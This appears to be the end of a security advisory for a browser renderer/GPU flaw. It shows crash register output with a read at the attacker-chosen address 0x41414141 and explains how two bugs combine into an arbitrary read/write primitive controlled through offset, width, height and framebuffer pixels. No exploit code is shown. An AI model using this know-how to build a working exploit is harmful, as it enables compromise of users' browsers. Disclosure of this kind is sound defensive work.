ip: 00007f1e216c4881 efl: 0000000000010206 cgf: 002b000000000033 erf: 0000000000000004
trp: 000000000000000e msk: 0000000000000000 cr2: 0000000041414141
[end of stack trace]
The crash at cr2: 0000000041414141 with erf: 0000000000000004 confirms that the GPU layer attempted to read from the attacker-controlled address 0x41414141. Note the difference in erf values between read (0x04) and write (0x06) operations.
Together, these two vulnerabilities provide a complete arbitrary read/write primitive in the renderer process. The attacker controls the target address via the offset parameter, the read/write length via the width and height parameters, and for writes, the data content via framebuffer pixels controlled through drawing operations.
Credit
c6eed09fc8b174b0f3eebedcceb1e792